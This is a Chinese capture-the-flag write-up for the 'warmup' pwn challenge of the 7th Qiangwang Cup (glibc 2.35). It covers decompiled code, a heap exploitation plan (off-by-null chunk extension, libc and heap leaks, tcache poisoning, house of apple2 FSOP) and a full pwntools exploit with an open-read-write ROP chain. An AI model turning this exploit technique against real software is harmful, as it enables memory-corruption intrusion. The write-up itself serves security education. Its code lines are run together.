第七届强网杯-PWN-【warmup】

文章目录

  • warmup libc 2.35
  • 检查
  • IDA逆向
    • main
    • deldelete_note
    • add_note
    • show_note
    • input_number
    • read_16
      • atoi
    • __errno_location()
      • 相关解释
      • prctl相关
  • 思路
    • 高版本off by null利用技巧产生chunk extend
    • 泄露libc基地址
    • 泄露heap基地址
    • 修改放入tcachebin中的chunk的fd为stdout
    • 最后add两个chunk
  • exp

warmup libc 2.35

检查

在这里插入图片描述

IDA逆向

main

void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{int v3; // eaxpro_set();put_warmup_string();while ( 1 ){put_menu();v3 = input_number();if ( v3 == 4 )_exit(0);if ( v3 > 4 ){
LABEL_12:a1 = "Invalid!";puts("Invalid!");}else{switch ( v3 ){case 3:deldelete_note();break;case 1:add_note();break;case 2:首位、show_note(a1, a2);break;default:goto LABEL_12;}}}
}

deldelete_note

unsigned __int64 delete_note()
{unsigned int v1; // [rsp+4h] [rbp-Ch]unsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);printf("Index: ");v1 = input_number();if ( v1 < 0x13 ){if ( chunk_addr_array[v1] ){free(chunk_addr_array[v1]);chunk_addr_array[v1] = 0LL;puts("Success~");}}else{puts("Error!");}return v2 - __readfsqword(0x28u);
}

add_note

unsigned __int64 add_note()
{int i; // [rsp+Ch] [rbp-14h]int size; // [rsp+10h] [rbp-10h]unsigned __int64 v3; // [rsp+18h] [rbp-8h]v3 = __readfsqword(0x28u);for ( i = 0; i <= 18 && chunk_addr_array[i]; ++i );if ( i == 19 ){puts("FUll!");}else{printf("Size: ");size = input_number();if ( size <= 0 || size > 0xFFFF ){puts("Error!");}else{chunk_addr_array[i] = malloc(size);if ( !chunk_addr_array[i] ){puts("Error!");_exit(0);}printf("Note: ");*((_BYTE *)chunk_addr_array[i] + (int)read(0, chunk_addr_array[i], size)) = '\0';// chunk的内容尾部为空字符puts("Success~");}}return v3 - __readfsqword(0x28u);
}

show_note

unsigned __int64 show_note()
{unsigned int index; // [rsp+4h] [rbp-Ch]unsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);printf("Index: ");index = input_number();if ( index < 0x13 ){if ( chunk_addr_array[index] ){printf("Note: ");puts((const char *)chunk_addr_array[index]);}}else{puts("Error!");}return v2 - __readfsqword(0x28u);
}

input_number

int input_number()
{char s[24]; // [rsp+0h] [rbp-20h] BYREFunsigned __int64 v2; // [rsp+18h] [rbp-8h]v2 = __readfsqword(0x28u);memset(s, 0, sizeof(s));read_16(s, 16LL);return atoi(s);
}

read_16

unsigned __int64 __fastcall read_16(char *a1, __int64 int64_16)
{// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]v7 = __readfsqword(0x28u);while ( int64_16-- ){one_char = read(0, a1, 1uLL);if ( !one_char )break;if ( one_char == -1 ){if ( *__errno_location() != 11 && *__errno_location() != 4 )return v7 - __readfsqword(0x28u);}else{if ( *a1 == '\n' ){*a1 = 0;return v7 - __readfsqword(0x28u);}++a1;}}return v7 - __readfsqword(0x28u);
}

atoi

atoi 是 C 语言标准库中的一个函数,用于将字符串转换为整数。该函数的名称源自 “ASCII to integer” 的缩写。atoi 函数定义在 <stdlib.h> 头文件中,它所做的基本上就是解析一个字符串并将其转换成一个 int 类型的数值。

函数的原型如下:


int atoi(const char *str);

参数 str 是一个指向以空字符 ‘\0’ 结尾的字符数组(即 C 字符串)的指针。atoi 函数会扫描字符串 str,跳过任何空白字符(如空格),直到遇到第一个非空白的字符为止,然后从这个字符开始解析直到遇到第一个非数字的字符或字符串结尾。

下面是 atoi 方法使用的一般步骤:

  1. 忽略字符串前面的所有空白字符。
  2. 记录正负符号(如果有的话)。正数通常不带符号,而负数以 - 开头。
  3. 解析字符串中的数字,直到遇到非数字字符或字符串末尾。
  4. 将解析到的数字收集起来并转换成一个整数。
  5. 如果解析到的数字前带有 -,则将结果转换为负数。

__errno_location()

__errno_location() 是在某些 UNIX-like 系统上,特别是在 Linux 系统的 GNU C Library (glibc) 中定义的一个函数。这个函数用于获取 errno 的地址。errno 是一个全局变量或宏定义,用于存储函数在执行时遇到的错误代码。

在多线程应用程序中,使用全局变量存储错误码会有问题,因为当多个线程同时更新这个变量时将会相互冲突。为了解决这个问题,errno 在多线程环境中一般实现为一个宏,映射到一个线程局部存储(thread-local storage,TLS), 确保每个线程都有自己的 errno 值副本。

__errno_location() 函数就是用来获取当前线程 errno 变量地址的函数。这个函数通常不会被应用程序直接使用,而是由 errno 宏调用来获取当前线程的 errno 值。如果你直接包含 <errno.h> 并使用 errno,编译器在大多数现代系统上会自动处理成调用类似 __errno_location() 的函数。

相关解释

if (one_char == -1): 这行代码检查变量 one_char 是否等于 -1。在涉及从流中读取字符的函数中,-1 通常表示发生了一个错误或到达了文件末尾(EOF)。

if (*__errno_location() != 11 && *__errno_location() != 4): 这是一个嵌套的 if 语句,当 one_char 等于 -1 时会执行。它使用 __errno_location() 函数获取 errno 的地址,并通过解引用来检查其值。它检查 errno 是否不等于 11 和 4,这两个数字分别代表特定的错误码:

11 是 EAGAIN (Linux 上的错误代码),表示 I/O 操作会阻塞,应稍后重试。
4 是 EINTR,表示操作在能完成之前被信号中断了。

prctl相关

#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);// 主要关注prctl()函数的第一个参数,也就是option,设定的option的值的不同导致黑名单不同,介绍2个比较重要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);
复制代码

思路

高版本off by null利用技巧产生chunk extend

高版本off by null

泄露libc基地址

extend后的大chunk遇到malloc分割后剩余的部分与原相关得到的chunk的位置重合,从而邪路unsortedbin基地址

泄露heap基地址

与泄露libc基地址差不多,只不过该chunk被free到tcachebin里了

修改放入tcachebin中的chunk的fd为stdout

记得先提前free一个chunk到tcachebin中,然后再修改

通过free掉一个chunk,使得该chunk位于tcachebin中并且然后通过另一个原chunk再次add并且add的size范围包括该free的chunk的开始一部分,从而能够使得add时修改该freechunk的开始的一部分

最后add两个chunk

如何布置参考house of apple2
使得第一个chunk布置相关rop,第二个chunk布置相关IO_FILE_plus_struct的伪造结构体,然后根据house of apple2来布置,并最后orw

exp

from pwn import *
from pwncli import *context(os="linux",arch="amd64")
f=process("./warmup")
libc=ELF("./libc.so.6")
#gdb.attach(f)def menu(number):f.recvuntil(b">> ")f.sendline(str(number))def add(size,content):menu(1)f.sendlineafter(b"Size: ",str(size))f.sendafter(b"Note: ",content)def show(index):menu(2)f.sendlineafter(b"Index: ",str(index))def delete(index):menu(3)f.sendlineafter(b"Index: ",str(index))add(0x410,"0")#0
add(0x100,"0")#1
add(0x410,"0")#2 合并3的
add(0x440,"0")#3 
add(0x40,"0")#4 off by one写5
add(0x4d0,"0")#5 合并6的
add(0x410,"0")#6
add(0x10,"0")#7 防止合并的delete(0)
delete(3)
delete(6)
delete(2)payload=0x410*b"a"+p64(0)+p8(0xa0)+p8(0x4)
add(0x430,payload)# 0 对应原来2
add(0x410,"0")# 2 对应原来6
add(0x410,"0")# 3 对应原来0
add(0x420,"0")# 6 对应原来的3+0x20delete(3)# 原来0
delete(6)# 原来3+0x20add(0x410,p64(0)) # 3 原来0
add(0x420,"0") # 6 原来3+0x20delete(6)
delete(2)
delete(5)payload=0x4e0*b"a"
add(0x4f0,payload)# 2 原来5
add(0x3f0,"0") # 5 原来6+0x20
add(0x420,"0") # 6  原来3+0x20delete(4) # 4
payload=0x40*b"a"+p64(0x4a0)
add(0x48,payload) # 4delete(2)add(0x10,"0") # 2
show(6) # unsorted bin addrf.recvuntil("Note: ")
unsorted_bin_addr=f.recvuntil("\n")[:-1]
unsorted_bin_addr=u64(unsorted_bin_addr+2*b"\x00")
print("unsorted_bin_addr",hex(unsorted_bin_addr)) # -0x219ce0libc_base=unsorted_bin_addr-0x219ce0
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdxr12 = libc_base + 0x000000000011f0f7
ret = libc_base + 0x0000000000029cd6
pop_rax = libc_base + 0x0000000000045eb0
pop_rbp = libc_base + 0x000000000002a2e0
leave_ret = libc_base + 0x000000000004da83
close = libc_base + libc.sym['close']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
syscallret = libc_base + next(libc.search(asm('syscall\nret')))
stdout = libc.sym['_IO_2_1_stdout_'] + libc_baseadd(0x300,"0") # 8
add(0x130,"0") # 9
add(0x3f0,"0") # 10
add(0x120,"0") # 11add(0x3f0,"0") # 12
delete(12)delete(8)
show(6) # heap addrf.recvuntil("Note: ")
heap_addr=f.recvuntil("\n")[:-1]
heap_addr=int.from_bytes(heap_addr,"little")
heap_addr=heap_addr<<12
print("heap_addr",hex(heap_addr))add(0x300,"0")# 8
delete(4)
delete(10)payload=p64(((heap_addr + 0x1080) >> 12) ^ (stdout))[:-1]
payload=0x18*b"a"+p64(0x401)+payload
add(0x40,payload)#4file1 = IO_FILE_plus_struct()
file1.flags = 0
file1._IO_read_ptr = pop_rbp
file1._IO_read_end = heap_addr + 0x1080  - 8
file1._IO_read_base = leave_ret
file1._IO_write_base = 0
file1._IO_write_ptr = 1
file1._lock = heap_addr 
file1.chain = leave_ret
file1._codecvt =stdout
file1._wide_data =stdout - 0x48
file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20
print("vatable vaule",hex(file1.vtable))print(len(file1))flag_addr = heap_addr+ 0x100+0x1080
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscallret) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdxr12) + p64(0x50) + p64(0) + p64(read) + p64(pop_rdi) + p64(1) + p64(write)
payload = payload.ljust(0x100, b'\x00')
payload += b'./flag\x00'add(0x3f0,  payload) #10add(0x3f0, bytes(file1))f.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/738653.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

专业138+总分400+南航南京航空航天大学878考研经验电子信息与通信工程,真题,大纲,参考书

经过一年的复习&#xff0c;顺利被南京航空航天大学录取&#xff0c;初试专业课878数字电路和信号与系统138&#xff0c;总分400&#xff0c;回看这一年的复习&#xff0c;从择校到考研备考经历了很多&#xff0c;也有很多想和大家分享的复习经验&#xff0c;希望对大家复习有所…

EI级 | Matlab实现GCN基于图卷积神经网络的数据多特征分类预测

EI级 | Matlab实现GCN基于图卷积神经网络的数据多特征分类预测 目录 EI级 | Matlab实现GCN基于图卷积神经网络的数据多特征分类预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.GCN基于图卷积神经网络的数据分类预测 Matlab2023 2.多输入单输出的分类预测&#xf…

docker学习进阶篇

一、dockerfile解析 官方文档&#xff1a; Dockerfile reference | Docker Docs 1.1、dockfile是什么&#xff1f; dockerfile是用来构建docker镜像的文本文件&#xff0c;由一条条构建镜像所需的指令和参数构成的脚本。 之前我们介绍过通过具体容器反射构建镜像(docker comm…

leetcode 热题 100_螺旋矩阵

题解一&#xff1a; 模拟&#xff1a;定义四个边界&#xff0c;指针按右下左上的顺序遍历&#xff0c;每遍历一条边&#xff0c;边界就减一&#xff0c;并且在某个方向没有可以遍历的数时直接返回。 import java.util.ArrayList; import java.util.List;class Solution {publi…

[AIGC] Kafka解析:分区、消费者组与消费者的关系

Apache Kafka是一个分布式事件流平台&#xff0c;它是处理实时数据的强大工具。而理解Kafka的关键概念&#xff1a;分区&#xff08;Partition&#xff09;、消费者组&#xff08;Consumer Group&#xff09;和消费者&#xff08;Consumer&#xff09;的关系对于正确地使用Kafk…

【leetcode C++】最小栈

leetcode 155. 最小栈 题目 设计一个支持 push &#xff0c;pop &#xff0c;top 操作&#xff0c;并能在常数时间内检索到最小元素的栈。 实现 MinStack 类: MinStack() 初始化堆栈对象。void push(int val) 将元素val推入堆栈。void pop() 删除堆栈顶部的元素。int top() 获…

windows系统关机后自动重启解决方法

windows系统关机后自动重启解决方法 wini 进去系统设置的关于界面->高级系统设置高级->环境变量将自动重新启动取消->最后确定电源和睡眠->其他电源设置选择看电源按钮的功能更改当前不可用设置->取消快速启动 wini 进去系统设置的关于界面->高级系统设置 高…

Learn OpenGL 07 摄像机

定义摄像机参数 glm::vec3 cameraPos glm::vec3(0.0f, 0.0f, 3.0f);//摄像机位置glm::vec3 cameraTarget glm::vec3(0.0f, 0.0f, 0.0f);glm::vec3 cameraDirection glm::normalize(cameraPos - cameraTarget);//摄像机方向&#xff0c;指向z轴正方向 glm::vec3 up glm::vec…

20240309web前端_第一周作业_豆瓣电影

作业四&#xff1a;豆瓣电影 成果展示&#xff1a; 完整代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0…

探索计算机视觉的未来

目录 前言1 计算机视觉简介2 计算机视觉的基本原理2.1 图像获取2.2 图像预处理2.3 特征提取2.4 模式识别 3 深度学习与计算机视觉3.1 深度学习的基本原理3.2 深度学习在计算机视觉中的应用 4 计算机视觉的应用领域4.1 人脸识别4.2 物体识别4.3 图像分割4.4 视频追踪 5 未来发展…

Midjourney从入门到实战:图像生成命令及参数详解

目录 0 专栏介绍1 Midjourney Bot常用命令2 Midjourney绘图指令格式3 Midjourney绘图指令参数3.1 模型及版本3.2 画面比例3.3 风格化3.4 图片质量3.5 混乱值3.6 随机数种子3.7 重复贴图3.8 停止3.8 垫图权重3.9 提示词权重分割 0 专栏介绍 &#x1f525;Midjourney是目前主流的…

Vue3全家桶 - VueRouter - 【3】嵌套路由【children】

嵌套路由【children】 如果在路由视图中展示的组件包含自己的路由占位符&#xff08;路由出口&#xff09;&#xff0c;则此处会用到嵌套路由&#xff1b;如图所示&#xff1a;点击关于链接&#xff0c;则会展示About组件&#xff0c;在其组件中又包含了路由链接和路由占位符&…

蓝桥杯-ISBN号码

此题然让本人纠结了很久&#xff0c;真的好多坑。。。。果然还是太菜了。 完整代码以及思路解析(在注释中) #include <iostream> using namespace std; int main() {string num;cin>>num; int count0;int w1;for(int i0;i<10;i){if((i!1)&&(i!5)) //坑…

常见的限流算法- python版本

shigen坚持更新文章的博客写手&#xff0c;擅长Java、python、vue、shell等编程语言和各种应用程序、脚本的开发。记录成长&#xff0c;分享认知&#xff0c;留住感动。 个人IP&#xff1a;shigen 在系统的稳定性设计中&#xff0c;需要考虑到的就是限流&#xff0c;避免高并发…

Elastic Stack--08--SpringData框架

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 SpringData[官网&#xff1a; https://spring.io/projects/spring-data](https://spring.io/projects/spring-data) Spring Data Elasticsearch 介绍 1.SpringData-…

AI+X 高校行:首场浙大站爆满!

Datawhale线下 线下活动&#xff1a;AIX 高校行活动 AIX&#xff1a;希望将人工智能&#xff08;AI&#xff09;与各个学科和行业&#xff08;X&#xff09;结合&#xff0c; 激发无限潜力和创造力&#xff08;X&#xff09;&#xff0c;让年轻人拥有更多可能性&#xff08;X&…

Discord OAuth2授权以及机器人监听群事件

下面文章讲解获取OAuth2授权整个流程&#xff0c;创建机器人&#xff0c;使用机器人监听工会&#xff08;工会就是创建的服务器&#xff09;成员变化等等&#xff0c;对接国外的都是需要VPN的哦&#xff0c;对接的时候记得提前准备。 创建应用 点击 此页面添加应用,&#xff…

Midjourney绘图欣赏系列(七)

Midjourney介绍 Midjourney 是生成式人工智能的一个很好的例子&#xff0c;它根据文本提示创建图像。它与 Dall-E 和 Stable Diffusion 一起成为最流行的 AI 艺术创作工具之一。与竞争对手不同&#xff0c;Midjourney 是自筹资金且闭源的&#xff0c;因此确切了解其幕后内容尚不…

【wps】wps与office办公函数储备使用(结合了使用案例 持续更新)

【wps】wps与office办公函数储备使用(结合了使用案例 持续更新) 1、TODAY函数 返回当前电脑系统显示的日期 TODAY函数&#xff1a;表示返回当前电脑系统显示的日期。 公式用法&#xff1a;TODAY() 2、NOW函数 返回当前电脑系统显示的日期和时间 NOW函数&#xff1a;表示返…